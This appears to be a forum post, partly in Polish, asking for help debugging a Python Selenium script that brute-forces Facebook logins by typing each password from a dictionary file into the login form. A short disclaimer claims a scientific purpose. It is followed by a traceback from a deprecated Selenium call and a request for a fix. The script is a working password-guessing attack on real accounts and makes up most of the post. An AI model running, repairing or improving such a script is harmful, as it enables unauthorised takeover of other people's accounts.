print("****************************************************************************************************")
print("BREAKING IN IS ILLEGAL!/ WŁAMYWANIE SIĘ JEST NIELEGALNE!")
print("The project was created for a scientific purpose, to check u2f operation)")
print("Projekt powstał w celu naukowym, mającym sprawdzenie działania uwierzytelniania dwu/wieloetapowego.")
print("****************************************************************************************************")
print("")
print("")
print("")
login = input('Please eneter login: ')
browser = webdriver.Chrome()
browser.get('https://www.facebook.com/login.php')
class Attack:
def addlogin(self):
# locate xpath and send login.
time.sleep(2)
self.button_cookie = browser.find_element_by_id('u_0_c_7w')
time.sleep(0.5)
self.button_cookie.click()
self.button_cookie_accept = browser.find_element_by_id('u_0_j')
time.sleep(0.5)
self.button_cookie_accept.click()
time.sleep(2)
self.button_username = browser.find_element_by_xpath('//*[@id="email"]')
self.button_username.click()
time.sleep(0.5)
self.button_username.send_keys(login)
time.sleep(0.5)
def FbBruteForceDictionary(self):
# this function has a special task:
# 1. Locate xpath form "password"
# 2. Send key from dictionary.
# 3. Locate xpath button login and click.
login_attempt = 0
with open("dict.txt", "r") as file:
lines = file.readlines()
for line in lines:
self.button_password = browser.find_element_by_xpath('//*[@id="pass"]')
self.button_password.click()
time.sleep(2)
self.button_password.send_keys(line)
self.button_login = browser.find_element_by_xpath('//*[@id="loginbutton"]')
self.button_login.click()
login_attempt = login_attempt + 1
print("____________________________________________________________")
print(' Login attempt', login_attempt, ' with key/password : ', line)
print("____________________________________________________________")
Please eneter login: kowalski@wp.pl
Traceback (most recent call last):
File "C:\Users\PC\PycharmProjects\seleniumpython\facebookBruteForce.py", line 62, in <module>
p.addlogin()
File "C:\Users\PC\PycharmProjects\seleniumpython\facebookBruteForce.py", line 25, in addlogin
self.button_cookie = browser.find_element_by_id('u_0_c_7w')
AttributeError: 'WebDriver' object has no attribute 'find_element_by_id'
Jak naprawić powyższy błąd ? Ponieważ element by id jest zmienny